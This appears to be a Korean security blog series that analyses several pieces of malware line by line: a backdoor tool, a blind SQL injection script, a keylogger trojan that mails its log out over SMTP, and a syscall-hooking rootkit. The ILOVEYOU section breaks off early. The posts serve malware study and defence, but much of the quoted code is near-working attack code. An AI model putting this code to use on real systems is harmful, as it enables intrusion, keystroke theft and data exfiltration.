Backdoor

공격자가 피해자의 시스템에 비인가된 접근을 하기위해 설치하는 악성 소프트웨어

 

감염 사유

무분별한 파일 다운로드

취약 포트 허용(21,22,23)

 

탐지방법

현재 동작중인 프로세스 확인

현재 열려있는 포트 확인

로그 검사 및 백도어, 악성코드 툴 사용

 

Backdoor 도구 코드 분석

※ 악성코드 분석 결과 발견된 위협에 대해 알려드립니다. 이 코드는 사용자의 컴퓨터 시스템에 손상을 입힐 수 있는 가능성이 있으며, 개인 정보 유출, 시스템 장애, 또는 불법적인 활동에 이용될 수 있습니다. 이러한 악성 코드로부터 안전하게 보호하려면 소프트웨어 업데이트, 안티바이러스 프로그램 사용, 신뢰할 수 있는 소스에서의 파일 다운로드 등 보안 조치를 취해야 합니다. 또한, 의심스러운 이메일 첨부 파일이나 링크를 클릭하지 않고, 불분명한 출처의 소프트웨어를 다운로드하지 않는 것이 중요합니다. 안전한 인터넷 사용을 위해 항상 주의를 기울이고, 보안에 대한 경각심을 가지는 자세가 중요합니다.

 

Backdoor 진행 흐름

  1. 타겟 추가(def addtarget)
  2. SSH연결(def do_open)
  3. 백도어 모듈 로드 및 실행(def do_use)

 

master.py

패키지 선언 및 객체 초기설정 및 초기화

import os
import socket
import subprocess
import target
import getpass
import rlcompleter
from colorama import *
from tkinter import *
import cmd
from backdoors import * 
from modules import * 
import importlib
import inspect
import sys
import traceback
import netifaces as ni ##네트워크 인터페이스와 관련된 정보를 제공하는 모듈
from six.moves import input
import six
##Backdoor 툴에 사용되는 패키지


GOOD = Fore.GREEN + " + " + Fore.RESET
BAD = Fore.RED + " - " + Fore.RESET
WARN = Fore.YELLOW + " * " + Fore.RESET
INFO = Fore.BLUE + " + " + Fore.RESET
OPEN = Fore.GREEN + "open" + Fore.RESET
CLOSED = Fore.RED + "closed" + Fore.RESET

sys.path.append("backdoors") ##외부 폴더의 모듈을 불러오는 명령
sys.path.append("modules") ##외부 폴더의 모듈을 불러오는 명령


def ascii_art():
    print("   ___           __      __              __  ___"   )
    print("  / _ )___ _____/ /_____/ /__  ___  ____/  |/  /__ ")
    print(" / _  / _ `/ __/  '_/ _  / _ \/ _ \/ __/ /|_/ / -_)")
    print("/____/\_,_/\__/_/\_\\\\_,_/\___/\___/_/ /_/  /_/\__/ ")


class BackdoorMe(cmd.Cmd):
    prompt = Fore.BLUE + ">> " + Fore.RESET

    def __init__(self):
    ##객체 초기설정 및 초기화
        cmd.Cmd.__init__(self)
        self.enabled_modules = enabled_modules 
        self.target_num = 1
        self.port = 22 
        self.targets = {}
        self.curtarget = None
        self.get_local_ip()
        
        if six.PY3:
            self.localIP = str(self.localIP)
        else:
            self.localIP = self.localIP.encode('ascii', 'ignore').decode('ascii')
        ##Python3일 경우 localIP를 문자열로 반환, 아니라면 'ascii'로 인코딩하고 디코딩하여 loal IP 반환

        self.ctrlc = False
        ascii_art()
        print("Welcome to BackdoorMe, a powerful backdooring utility. Type \"help\" to see the list of available commands.")
        print("Type \"addtarget\" to set a target, and \"open\" to open an SSH connection to that target.")
        print("Using local IP of %s." % self.localIP)
        self.addtarget("127.0.0.1", "george", "password")
  • 해당 애플리케이션에서 사용되는 패키지 선언
    • import *
  • 객체 초기 설정 및 초기화
    • __init__(self)
    • def get_local_ip(self) 메소드 실행

 

def get_local_ip

    def get_local_ip(self):
        interfaces = ni.interfaces() ##시스템의 모든 네트워크 인터페이스를 호출
        interface = ""
        for iface in interfaces: ##인터페이스가 담겨있는 변수를 반복문 실행
            if ni.AF_INET in ni.ifaddresses(iface) and "lo" not in iface: ##인터페이스 정보에 AF_INET가 포함되어 있고 "lo"가 포함되어 있지않다면
                interface = iface ##interface 변수에 포함

        if interface != "":
            addrs = ni.ifaddresses(interface)
            ipinfo = addrs[socket.AF_INET][0] ##socket.AF_INET명령을 사용하여 인터페이스 주소의 IP값을 추출
            self.localIP = ipinfo['addr']
  • 시스템의 모든 네트워크 인터페이스 호출
    • ni.interfaces()
  • 반복문으로 필터링한 네트워크 인터페이스의 주소 값의 IP 추출
    • ni.ifaddresses(interface)
    • addrs[socket.AF_INET][0]
  • self.localIP변수에 주소 값 저장
    • self.localIP = ipinfo['addr']

 

def target

    def addtarget(self, hostname, uname, pword): ##타켓 추가하는 메소드
        t = target.Target(hostname, uname, pword, self.target_num) ## t변수에 hostname, uname, pword, self.target_num값 저장
        self.targets[self.target_num] = t ##self.target속성의 self.target_num번째 순서에 t삽입
        self.target_num += 1 ##self.target_num +1 
        self.curtarget = t ## self.curtarget속성에 t 삽입

    def get_target_info(self): ## 타켓을 가져오는 메소드
        hostname = input('Target Hostname: ') ## Target Hostname 입력
        try:
            socket.inet_aton(hostname) ## hostname이 유효한 IP주소인지 확인
        except socket.error: 
            print(BAD + "Invalid IP Address.") ## 소켓에러가 발생 시 해당 구문 프린트되고 None 반환
            return None, None, None
        uname = input('Username: ')  ## Target Username 입력
        pword = getpass.getpass()  ## Target Password 입력
        return hostname, uname, pword ## hostname, uname, pword 반환
    
    def do_addtarget(self, args): ## 타겟을 추가하는 메소드
        hostname, uname, pword = self.get_target_info()
        if hostname is None: ## hostname이 None이라면 반환하지않고 함수 종료
            return
        print(GOOD + "Target %d Set!" % self.target_num)
        self.addtarget(hostname, uname, pword) ##addtarget함수를 실행시켜 hostname, uname, pword 추가
    
    def do_edittarget(self, args): ## 타겟을 수정하는 메소드
        t = self.get_target(args, connect=False) ##get_target함수를 connect=False상태로 호출해서 t변수에 저장
        if t is None: ## 만약 t가 None이라면 호출하지않고 함수 종료
            return
        hostname, uname, pword = self.get_target_info() ## get_target_info를 호출하여 hostname, uname, pword에 저장
        t.hostname = hostname ##사용자가 입력한 hostname을 t인스턴스의 hostname에 저장
        t.uname = uname ##사용자가 입력한 uname을 t인스턴스의 uname에 저장
        t.pword = pword ##사용자가 입력한 pword을 t인스턴스의 pword에 저장
        print(GOOD + "Target edited")
  • def addtarget(self, hostname, uname, pword) ## 타겟 추가 메소드
    • hostname, uname, pword를 입력받아 t변수에 저장한 후 targets속성에 저장
      • t = target.Target(hostname, uname, pword, self.target_num) 
        self.targets[self.target_num] = t 
  • def get_target_info(self) ## 타겟 입력 메소드
    • hostname이 존재한다면 username, password 입력하여 반환하는 함수
      • hostname = input('Target Hostname: ') 
        try:
            socket.inet_aton(hostname) 
        except socket.error: 
             print(BAD + "Invalid IP Address.") 
             return None, None, None
        uname = input('Username: ')  
        pword = getpass.getpass()  
        return hostname, uname, pword 
  • def do_addtarget(self, args) ## 타겟 추가 메소드
    • get_target_info메소드를 불러와서 실행시킨 후 hostname이 None이 아니라면 addtarget함수 실행시켜 타겟 추가
      • hostname, uname, pword = self.get_target_info()
        if hostname is None:
            return
        print(GOOD + "Target %d Set!" % self.target_num)
        self.addtarget(hostname, uname, pword)
  • do_edittarget(self, args) ##타겟 수정 메소드
    • self_target함수를 connect=False상태로 실행시켜 t변수에 저장하고, get_target_info함수를 실행시켜 hostname, uname, pword 를 입력받아 각 속성에 삽입
    • hostname, uname, pword를 t.hostname, t.uname, t.pword에 삽입하여 수정
      • t = self.get_target(args, connect=False)
        if t is None:
             return
        hostname, uname, pword = self.get_target_info() 
        t.hostname = hostname
        t.uname = uname
        t.pword = pword
        print(GOOD + "Target edited")

 

def do_open

    def do_open(self, args):
        t = self.get_target(args) ##get_target메소드를 호출하여 타겟에 대한 상태 및 SSH가 열려있는지 확인
        if t is None: ## t가 None이라면 반환하지않고 메소드 종료
            return
  • self.get_target함수를 호출하여 타겟의 상태 및 SSH연결 상태를 확인하고 SSH 연결 시도
    • t = self.get_target(args)
      if t is None:
                  return

 

def get_target

    def get_target(self, args, connect=True):
        t = self.curtarget
        if (len(args.split()) == 1 and not args.split()[-1].isdigit()) or len(args.split()) == 0:
        ##args값이 하나이고 숫자가 아니거나 args값이 없다면
            if self.curtarget is None: ##curtarget값이 None이라면 None을 반환하고 메소드 종료
                print(BAD + "No currently set target. Add a target with 'addtarget'.")
                return None
            else: ## curtarget값이 존재한다면 target_num 출력
                print(GOOD + "Using current target %d." % t.target_num)
        elif not self.target_exists(int(args.split()[-1])):
        ##args값이 존재하지 않다면 None을 반환하고 메소드 종료
            print(BAD + "No target with that target ID found." )
            return None
        else: ##args값이 하나이고 숫자가 아니라면 targets변수에 args값을 추가하여 t변수에 추가
            print(GOOD + "Using target %s" % args.split()[-1])
            t = self.targets[int(args.split()[-1])]
        if not t.is_open and connect: ##t변수가 t.is_open, connect되어있지않다면 open_conn메소드 실행
            print(BAD + "No SSH connection to target. Attempting to open a connection...")
            self.open_conn(t)
  
        return t
  • arg값 호출하여 공백으로 나눈 값이 1이고, 숫자가 아니거나 arg값을 공백으로 나누었을 때 0이라면 아래 조건문 실행
  • curtarget값이 None이라면 None을 반환하고 메소드 종료
    • if self.curtarget is None:
          print(BAD + "No currently set target. Add a target with 'addtarget'.")
          return None
      else:
          print(GOOD + "Using current target %d." % t.target_num)
  • args값이 존재하지않다면 None을 반환하고 메소드 종료
      • print(BAD + "No target with that target ID found." )
        return None
  • args값이 하나이고 숫자가 아니라면 t변수에 추가
    • print(GOOD + "Using target %s" % args.split()[-1])
      t = self.targets[int(args.split()[-1])]
  • t변수가 is_open, connect되어 있지않다면 open_conn(t)메소드 실행
    • print(BAD + "No SSH connection to target. Attempting to open a connection...")
      self.open_conn(t)

 

open_conn

    def open_conn(self,t):
        try: 
            t.conn() ## t매개변수를 conn()메소드 실행
        except:
            print(BAD + "Connection failed.")
            return
        print(GOOD + "Connection established.")
  • conn()메소드 실행하고 실패했을 경우 print반환하고 종료, 성공했을 경우 print반환

 

def do_use

    def do_use(self, args):
        try:
            bd = args.split()[0] ## args값의 첫번째를 bd변수에 할당
            loc, bd =  bd.rsplit("/", 1) ## bd변수를 오른쪽에서 한번만 "/"를 기준으로 분리하여 백도어의 경로와 이름을 분리 
            if "backdoors/" + loc not in sys.path: ##만약 backdoors경로가 시스템 경로에 없다면 추가
                sys.path.insert(0, "backdoors/" + loc)
            mod = importlib.import_module(bd) ##백도어 모듈을 동적으로 로드
            t = self.get_target(args) ##get_target메소드를 사용하여 대상 호출
            if t is None: ##만약 get_target메소드가 None이라면 반환하지않고 메소드 종료
                return

            clsmembers = inspect.getmembers(sys.modules[bd], inspect.isclass) ##inspect 모듈의 getmembers 함수를 사용하여 백도어 모듈(sys.modules[bd]) 내의 클래스를 clsmembers변수에 저장
            try:
                [m for m in clsmembers if m[1].__module__ == bd][0][1](self).cmdloop() ##clsmembers변수에 __module__==bd인 클래스를 찾아서 cmdloop()실행
            except Exception as e: ##예외처리
                print(BAD + "An unexpected error occured.")
                print(e)
                traceback.print_exc()
        except Exception as e: ##예외처리
            print(BAD + args + " backdoor cannot be found.")
            print(e)
            traceback.print_exc()

 

  • backdoors경로 및 backdoor 생성
    • bd = args.split()[0]
      loc, bd =  bd.rsplit("/", 1) 
      if "backdoors/" + loc not in sys.path:
          sys.path.insert(0, "backdoors/" + loc)
  • 백도어 모듈을 동적으로 로드
    • mod = importlib.import_module(bd)
  • inspect 모듈을 사용하여 백도어 클래스의 인스턴스를 생성하여 cmdloop을 실행
    •  clsmembers = inspect.getmembers(sys.modules[bd], inspect.isclass)
                  try:
                      [m for m in clsmembers if m[1].__module__ == bd][0][1](self).cmdloop()

 

 

target.py

def conn

def conn(self):
    #print("Opening SSH connection to target...")
    self.ssh = paramiko.SSHClient()  ## paramiko.SSHClient()객체 생성
    self.ssh.load_system_host_keys() ## ssh변수에 paramiko라이브러리의 load_system_host_keys() 객체 생성
    self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ##호스트키가 없는 경우 호스트 키 추가하는 정책 생성
    self.ssh.connect(self.hostname, port=self.port, username=self.uname, password=self.pword) ##hostname, port, uname, pword를 사용하여 ssh접속 시도
    self.scp = SCPClient(self.ssh.get_transport())#don't call this, but use the above function instead. 
    self.is_open = True ##is_open변수를 True로 설정
  • SSHClinet()객체, load_system_hostkey()객체, set_missing_hostkey_policy()객체를 ssh변수에 삽입
    •     self.ssh = paramiko.SSHClient() 
          self.ssh.load_system_host_keys() 
          self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  • hostname, port, username, password를 이용하여 ssh연결 시도
    • self.ssh.connect(self.hostname, port=self.port, username=self.un

 


Backdoor 도구 소스코드

https://github.com/Kkevsterrr/backdoorme

SQL Injection 크롤링 도구

크롤링 봇으로는 검색엔진 봇과 언어기반 HTTP 클라이언트 봇이 존재한다.

검색엔진 봇은 검색엔진(google, msn..)에 의해 운영되며 웹페이지 색인 생성 및 검색 결과를 제공하는 목적으로 주로 사용된다. 반면 언어기반 HTTP클라이언트 봇은 특정한 언어로 작성된 스크립트나 프로그램을 의미하며 주된 사용 목적은 웹 콘텐츠 자동 수집이다. 언어기반 HTTP 클라이언트 봇을 단순 크롤링 목적으로 사용하면 문제가 없지만, 사이버 공격 목적으로 사용하게 된다면 사이트에 문제가 발생할 수 있으며 그에 대한 책임은 본인에게 있다.

 

 

SQL Injection 크롤링 도구 코드 분석

※ 악성코드 분석 결과 발견된 위협에 대해 알려드립니다. 이 코드는 사용자의 컴퓨터 시스템에 손상을 입힐 수 있는 가능성이 있으며, 개인 정보 유출, 시스템 장애, 또는 불법적인 활동에 이용될 수 있습니다. 이러한 악성 코드로부터 안전하게 보호하려면 소프트웨어 업데이트, 안티바이러스 프로그램 사용, 신뢰할 수 있는 소스에서의 파일 다운로드 등 보안 조치를 취해야 합니다. 또한, 의심스러운 이메일 첨부 파일이나 링크를 클릭하지 않고, 불분명한 출처의 소프트웨어를 다운로드하지 않는 것이 중요합니다. 안전한 인터넷 사용을 위해 항상 주의를 기울이고, 보안에 대한 경각심을 가지는 자세가 중요합니다.

 

 

Payload값 선정 및 공격 구문

import sys
import string
import time,datetime
import requests
###크롤링에 필요한 라이브러리

def main(url):
    print('Loding...')
    print('Start Attack ....')
    # payload = list(string.ascii_letters)
    payload = list(string.ascii_lowercase)
    # payload 변수에 개별 문자로 a-z까지 리스트화
    payload += ['_', '.','@',',','-']
    # payload 변수에 해당 기호 추가
    payload += [str(num) for num in range(0,10)]
    # payload 변수에 0~10까지 문자열로 추가
    maxLength = 30
    exploit = []
    # 공격과정에서 추출된 문자 저장
    headers = {'User-Agent': 'Test'}
    # 크롤링 시 User-Agent값 위장
    for i in range(maxLength):
        for element in payload:
            t1 = time.time()
            poc = url+" union select if((ord(SUBSTR(concat_ws(' ---- ',user(),database(),version()),"+str(i+1)+",1))=ord('"+element+"'))=1,sleep(0),sleep(0.5)),2,3"
            #payload 변수 값으로 for반복문 실행하면서 SQL Injection 공격구문 완성 / ord값에 element 삽입
            response = requests.get(poc, headers=headers)
            if response.status_code==200:
                t2 = time.time()
                print(response.status_code)
                print(response.text)
                if t2-t1<0.5:
                    exploit.append(element)
                    print(''.join(exploit)+'...')
                    continue
    print('Finish...')

 

  • 크롤링에 필요한 파이썬 라이브러리 선언
    • exam - import sys
  • main 함수에서 공격에 사용할 payload 변수 설정
  • 크롤링 시 User-Agent값 위장을 위해 headers값 변경
  • payload변수를 사용하여 for 반복문 실행
  • SQL Injection 구문 선정 및 반복하여 공격할 포인트에 element값 삽입
    • exam - (ord('"+element+"'))
  • 만약 response 상태 코드가 200으로 일치하고, 응답시간이 0.5초보다 작다면 exploit리스트에 element값 추가
  • 공격이 종료되면 'Finish...'출력

 


SQL Injection 크롤링 도구 소스 코드

https://github.com/Da2dalus/Hacking/blob/master/sqlInjetct.py

'악성코드 > 기타' 카테고리의 다른 글

Rootkit, 루트킷  (0) 2023.12.13

trojan horse

트로이목마는 외관상으로는 정상적인 프로그램처럼 보이지만, 악의적인 코드가 숨겨져있는 프로그램을 의미

트로이 목마 프로그램(DR1_us.exe)의 MD5를 Virustotal를 통해 검사해본 결과

 

 

감염대상

업데이트 되지 않은 운영체제를 사용하고 메일, 게임, 피싱 사이트에서 무분별하게 파일을 다운받는 자

 

 

동작원리

1. 해커가 악성코드 작성 후 실행파일로 컴파일 ex) .exe

  • 컴파일 : 프로그래밍 언어로 작성된 소스코드를 컴퓨터가 실행가능한 형태로 변환하는 과정

2. 피해자가 트로이 목마 파일 다운로드 및 실행

3. 악성 코드가 실행되면서 백도어, 데이터 전송, 시스템 손상 및 삭제 진행 

 

 

해결방안

1. 운영체제 최신 업데이트

2. 메일, 게임, 피싱 사이트에서 무분별한 파일 다운로드 금지

3. 안티 바이러스 프로그램 사용 및 주기적인 검사

4. 의심되는 파일 확인 시 자동화 분석 도구를 사용하여 검사 후 삭제

  • virustotal.com
  • malwares.com

 

 

trojan horse 바이러스 소스 코드 분석

※ 악성코드 분석 결과 발견된 위협에 대해 알려드립니다. 이 코드는 사용자의 컴퓨터 시스템에 손상을 입힐 수 있는 가능성이 있으며, 개인 정보 유출, 시스템 장애, 또는 불법적인 활동에 이용될 수 있습니다. 이러한 악성 코드로부터 안전하게 보호하려면 소프트웨어 업데이트, 안티바이러스 프로그램 사용, 신뢰할 수 있는 소스에서의 파일 다운로드 등 보안 조치를 취해야 합니다. 또한, 의심스러운 이메일 첨부 파일이나 링크를 클릭하지 않고, 불분명한 출처의 소프트웨어를 다운로드하지 않는 것이 중요합니다. 안전한 인터넷 사용을 위해 항상 주의를 기울이고, 보안에 대한 경각심을 가지는 자세가 중요합니다.

 

main()

main(){
    FreeConsole(); ///hide window

    age = get_setAge();
    if(checkRecordSize()){ ///check for right time

        int i=1;
        while(i<3){ ///try 2 times to send data
        
            Sleep(i*MAIL_WAIT_TIME); ///wait
            if(!system("ping www.google.com -n 1")){ ///check connection
                ////////////****SEND DATA****////////////
                sendData();

                Sleep(MAILING_TIME); ///wait! or file will be deleted before sending
                DeleteFile(FILE_NAME);

                break;
            }
            i++;
        }
    }
  • checkRecordSize()함수가 참이고 구글에 핑을 보내진다면 sendData()함수가 실행되는걸 두번 시도
  • if(!system("ping http://www.google.com -n 1"))
    • system()함수는 성공할 때 0을 반환. 그렇기때문에 !0은 1이 되므로 구글에 핑이 반환될 경우 sendData()함수가 실행

 

checkRecordSize()

bool checkRecordSize(){
    string line;
    ifstream myfile(FILE_NAME);

    int noOfLines = 0;
    if(myfile.is_open()){
        while(getline(myfile, line)){
            noOfLines++;
        }
        myfile.close();
    }

    if(noOfLines<MIN_RECORD_SIZE*age){
        return false;
    }else{
        return true;
    }
}
  • 파일을 열은 후 라인의 수만큼 noOfLines변수에 카운트
    • ifstream myfile(FILE_NAME) : 파일을 열기위한 객체 생성
    • myfile.is_open() : 파일이 열려있다면 true, 닫혀있다면 false를 반환
  • noOfLines변수의 값이 특정 기준(MIN_RECORD_SIZE*age)보다 작다면 false, 크다면 true 값을 반환

 

sendData()

void sendData(){
    char* command = "Transmit smtp://smtp.gmail.com:587 -v --mail-from \"your.email@gmail.com\" --mail-rcpt \"your.email@gmail.com\" --ssl -u your.email@gmail.com:password -T \"Record.log\" -k --anyauth";
    WinExec(command, SW_HIDE);
}
  • SMTP프로토콜을 사용하여 Record.log파일을 자신의 메일로 전송하는 함수
    • -k 옵션 : 전송시 인증 관련 에러 무시하고 진행, --anyauth 옵션 : 서버로부터 받은 인증 방법 수락

 

logUserTime()

void logUserTime(){
    FILE *file = fopen(FILE_NAME, "a");

    char username[20];
    unsigned long username_len = 20;
    GetUserName(username, &username_len);
    time_t date = time(NULL);
    fprintf(file, "0\n%s->%s\t", username, ctime(&date));

    fclose(file);
}
  • 파일에 사용자의 이름과 날짜, 0으로 시작하는 문자열을 기록하는 함수
    • fopen함수로 FILE_NAME을 추가 모드로 열은 후 GetUserName함수를 이용하여 로그인된 사용자의 이름, time()함수로 현재시간을 가져옵니다.
    • fprintf함수를 사용하여 userame, ctime을 file에 기록

 

logkey()

void logKey(){
    FILE *file;
    unsigned short ch=0, i=0, j=500; // :)

    while(j<500){ ///loop runs for approx. 25 seconds
        ch=1;
        while(ch<250){
            for(i=0; i<50; i++, ch++){
                if(GetAsyncKeyState(ch) == -32767){ ///key is stroke
                    file=fopen(FILE_NAME, "a");
                    fprintf(file, "%d ", ch);
                    fclose(file);
                }
            }
            Sleep(1); ///take rest
        }
        j++;
    }
}
  • 키가 눌러져있으면 파일을 추가모드로 열은 후 해당 키를 파일에 기록
    • for(i=0; i<50; i++, ch++) : i가 50보다 작을때까지 i와 ch를 1씩 증가시키면서 반복.
    • GetAsyncKeyState : 특정 키의 현재 상태를 확인할 때 사용하는 Windows API함수
    • if(GetAsynckeyState(ch) == -32767) : ch에 해당하는 키가 눌러져있다면(-32767) 파일을 추가 모드로 열은 후 ch에 해당하는 키를 기록 후 닫기

 

 


trojan horse 소스 코드

https://github.com/MinhasKamal/TrojanCockroach/tree/master

Rootkit, 루트킷

시스템에 비인가 엑세스 권한을 제공하는 악성 프로그램 툴

시스템의 루트 권한을 획득하는 악성 소프트웨어

 

 

감염대상

감염 대상으로는 모든 시스템, 취약한 대상으로는 보안 소프트웨어의 부재나 최신 업데이트가 되지 않은 시스템

 

 

Rootkit동작원리

1. 접근 : 시스템 콜에 대한 포인터를 변경하기 위해 시스템 콜 테이블에 접근

  • 커널 : 시스템 자원(CPU, 메모리, 입출력 장치), 프로세스 관리, 시스템 콜 처리와 같은 역할을 하는 OS의 핵심 부분 
  • 시스템 콜 : 커널의 기능을 안전하게 사용하기 위해 시스템 콜을 통해 커널이 제공하는 기능을 사용. 사용자 프로그램과 커널 사이의 중간 다리 역할
  • 시스템 콜 테이블: 커널이 시스템 콜을 처리할 때 참조하는 테이블. 시스템 콜에 해당하는 각 함수에 대한 포인터들의 배열로 구성
System Call Table
-----------------
| Index | Function Pointer Address                |
--------------------------------------------------
|   0   |   0x00000123 #커널내부 함수 주소          |   
|   1   |   0x00000456 #커널내부 함수 주소          | 
|   2   |   0x00000789 #커널내부 함수 주소          |   
|  ...  |       ...    #커널내부 함수 주소          | 
---------------------------------------------------

2. 후킹 : 원래의 시스템 콜 함수 포인터를 새로운 콜 함수 포인터로 변경

  • 시스템 콜 포인터

3. 실행 : 후킹된 함수가 실행되면 새로운 함수가 실행되며, 원래의 동작을 대체

  • 후킹: 시스템이나 소프트웨어의 동작을 변경하거나 모니터링하기 위해 해당 이벤트를 가로채는 기술

보통 루트킷은 시스템 콜 테이블에 접근 후 시스템 콜 포인터를 후킹하는 방식으로 작동한다.

 

더보기
더보기

커널 기능을 사용할 때 동작원리

1. 시스템 콜 호출

2. 시스템 콜에 맞는 번호를 통해 시스템 콜 테이블에서 시스템 콜 번호에 맞는 커널 내부 함수 주소를 탐색

3. 커널 내부 함수 실행

 

 

Rootkit 악성 코드 분석

※ 악성코드 분석 결과 발견된 위협에 대해 알려드립니다. 이 코드는 사용자의 컴퓨터 시스템에 손상을 입힐 수 있는 가능성이 있으며, 개인 정보 유출, 시스템 장애, 또는 불법적인 활동에 이용될 수 있습니다. 이러한 악성 코드로부터 안전하게 보호하려면 소프트웨어 업데이트, 안티바이러스 프로그램 사용, 신뢰할 수 있는 소스에서의 파일 다운로드 등 보안 조치를 취해야 합니다. 또한, 의심스러운 이메일 첨부 파일이나 링크를 클릭하지 않고, 불분명한 출처의 소프트웨어를 다운로드하지 않는 것이 중요합니다. 안전한 인터넷 사용을 위해 항상 주의를 기울이고, 보안에 대한 경각심을 가지는 자세가 중요합니다.

 

 

시스템 콜 테이블 탐색 및 null 제거

#if defined __i386__
    #define START_ADDRESS 0xc0000000
    #define END_ADDRESS 0xd0000000
#elif defined __x86_64__
    #define START_ADDRESS 0xffffffff81000000
    #define END_ADDRESS 0xffffffffa2000000
#else
    #error ARCH_ERROR_MESSAGE
#endif

void **sys_call_table;

/**
 * Finds a system call table based on a heruistic.
 * Note that the heruistic is not ideal, so it might find a memory region that
 * looks like a system call table but is not actually a system call table, but
 * it seems to work all the time on my systems.
 *
 * @return system call table on success, NULL on failure.
 */
void **find_syscall_table(void)
{
    void **sctable;
    void *i = (void*) START_ADDRESS;

    while (i < END_ADDRESS) {
        sctable = (void **) i;

        // sadly only sys_close seems to be exported -- we can't check against more system calls
        if (sctable[__NR_close] == (void *) sys_close) {
            size_t j;
            // we expect there to be at least 300 system calls
            const unsigned int SYS_CALL_NUM = 300;
            // sanity check: no function pointer in the system call table should be NULL
            for (j = 0; j < SYS_CALL_NUM; j ++) {
                if (sctable[j] == NULL) {
                    // this is not a system call table
                    goto skip;
                }
            }
            return sctable;
        }
skip:
        ;
        i += sizeof(void *);
    }

    return NULL;
}
  • 아키텍쳐별로 시스템 콜 테이블이 존재하는 메모리 주소 범위 지정
  • sys_call_table은 시스템 콜 테이블을 가리키는 이중 포인터
  • 찾은 시스템 콜테이블을  sctable변수에 저장한 후 __NR_close 포인터가 sys_close와 같다면(가르킨다면) 300개의 SYS_CALL_NUM중 NULL이 있는지 확인
  • NULL이 있다면 건너띄고 NULL이 아니라면 sctable로 반환

 

 

 

훅 생성, 훅 제거

struct hook {
    void *original_function;
    void *modified_function;
    void **modified_at_address;
    struct list_head list;
};

LIST_HEAD(hook_list);

int hook_create(void **modified_at_address, void *modified_function)
{
    struct hook *h = kmalloc(sizeof(struct hook), GFP_KERNEL);

    if (!h) {
        return 0;
    }

    h->modified_at_address = modified_at_address;
    h->modified_function = modified_function;
    list_add(&h->list, &hook_list);

    DISABLE_W_PROTECTED_MEMORY
    h->original_function = xchg(modified_at_address, modified_function);
    ENABLE_W_PROTECTED_MEMORY

    return 1;
}
  • 원래 함수 포인터, 변경된 함수 포인터, 변경된 함수 메모리 주소의 포인터를 선언
  • 후킹 정보를 저장해서 사용하기 위해 커널에서 메모리를 할당
    • struct hook *h = kmalloc(sizeof(struct hook), GFP_KERNEL);
    • kmalloc은 리눅스 커널에서 메모리를 할당하기 위한 함수중 하나
  • h 구조체 안의 멤버들에게 변수가 가리키는 값을 저장
  • 메모리 보호기능을 종료
  • modified_at_address가 가리키는 값을 modified_function으로 교체하고, 그 전의 값을 h->original_function에 저장
  • 다시 메모리 보호기능 켜기

 

void *hook_get_original(void *modified_function)
{
    void *original_function = NULL;
    struct hook *h;

    list_for_each_entry(h, &hook_list, list) {
        if (h->modified_function == modified_function) {
            original_function = h->original_function;
            break;
        }
    }
    return original_function;
}

 

  • struct hookmodified_function과 입력으로 받은 modified_function을 비교하여 일치한다면
  • struct hook 안에 저장된 original_functionoriginal_function 변수에 할당
    • 수정된 함수 포인터와 입력으로 받은 수정된 함수포인터가 일치한다면 원본 함수 포인터를 찾아 반환하는 역할

 

void hook_remove_all(void)
{
    struct hook *h, *tmp;

    // make it so that instead of `modified_function` the `original_function`
    // would get called again
    list_for_each_entry(h, &hook_list, list) {
        DISABLE_W_PROTECTED_MEMORY
        *h->modified_at_address = h->original_function;
        ENABLE_W_PROTECTED_MEMORY
    }
    msleep(10);
    list_for_each_entry_safe(h, tmp, &hook_list, list) {
        list_del(&h->list);
        kfree(h);
    }
}
  • modified_at_address가 가리키는 메모리 주소의 값을 h->original_function으로 변경
    • 변경된 함수 포인터를 원래의 함수 포인터로 다시 복구하는 역할
  • msleep(10)을 사용하여 10초동안 일시적으로 대기
  • 리스트에서 각 후킹 정보를 제거하고 해당 메모리를 해제
    • kfree(h)는 커널에서 동적으로 할당된 메모리를 해제하는 함수

 


Rootkit 소스 코드

https://github.com/nurupo/rootkit/blob/master/rootkit.c

'악성코드 > 기타' 카테고리의 다른 글

SQL Injection 크롤링 도구  (0) 2024.05.27

ILOVEYOU, Love Letter Virus

2000년도에 발생한 바이러스로 LOVE-LETTER-FOR-YOU.TXT.vbs 를 실행시키면 사용자의 아웃룩에 등록되어 있는 모든 메일 주소로 I LOVE YOU라는 메일을 보내며, 확장자가 vbs, vbe, js, css, wsh, sct, hta, jpg, jpeg, mp2, mp3인 모든 파일을 "I Love You"라는 내용만이 적힌 스크립트 파일로 만든다. 본능적으로 I LOVE YOU라는 메일을 클릭하고 싶은 사람의 심리를 이용한 사회공학적 바이러스이다.

 

ILOVEYOU 메일 유형

 

 

감염대상

윈도우 운영체제에 Outlook이나 Exchange 메일 프로그램을 사용하는 자

 

 

동작원리

1. LOVE-LETTER-FOR-YOU.TXT.vbs 첨부파일 클릭으로 VBScript 실행

2. Windows 탐색기가 WIN-BUGFIX.EXE(트로이목마 프로그램)을 컴퓨터에 다운로드

3.이메일에 존재하는 연락처로 동일한 메세지 전송

4. js, css, wsh, sct, hta 확장자의 파일은 vbs확장자를 가진 악성 스크립트로 대체

5. jpg, jpeg 확장자를 가진 파일은 삭제되고 원본 파일이름을 가진 악성코드로 대체

6. mp2, mp3파일은 숨겨지고 원본 파일이름을 가진 악성코드로 대체

 

 

해결방안

1. 인터넷 차단 : 메일이 연락처로 전송되는 걸 막기위해 인터넷을 차단. 하지만 파일을 이미 실행 시켰을 경우 이미 늦었다고 판단

2. 바이러스 스캔 및 제거 : 안티바이러스 스캔 도구를 사용하여 스캔 후 제거

3. 소프트웨어 업데이트 : 운영체제 및 보안 소프트웨어 버전을 최신으로 유지

4. 예방 : 가장 좋은 방법으로 이메일로 수상한 파일이 첨부되어 있다면 열람 금지

 

 

ILOVEYOU 바이러스 소스 코드 분석

※ 악성코드 분석 결과 발견된 위협에 대해 알려드립니다. 이 코드는 사용자의 컴퓨터 시스템에 손상을 입힐 수 있는 가능성이 있으며, 개인 정보 유출, 시스템 장애, 또는 불법적인 활동에 이용될 수 있습니다. 이러한 악성 코드로부터 안전하게 보호하려면 소프트웨어 업데이트, 안티바이러스 프로그램 사용, 신뢰할 수 있는 소스에서의 파일 다운로드 등 보안 조치를 취해야 합니다. 또한, 의심스러운 이메일 첨부 파일이나 링크를 클릭하지 않고, 불분명한 출처의 소프트웨어를 다운로드하지 않는 것이 중요합니다. 안전한 인터넷 사용을 위해 항상 주의를 기울이고, 보안에 대한 경각심을 가지는 자세가 중요합니다.

 

 

1. 공격을 위한 환경 설정

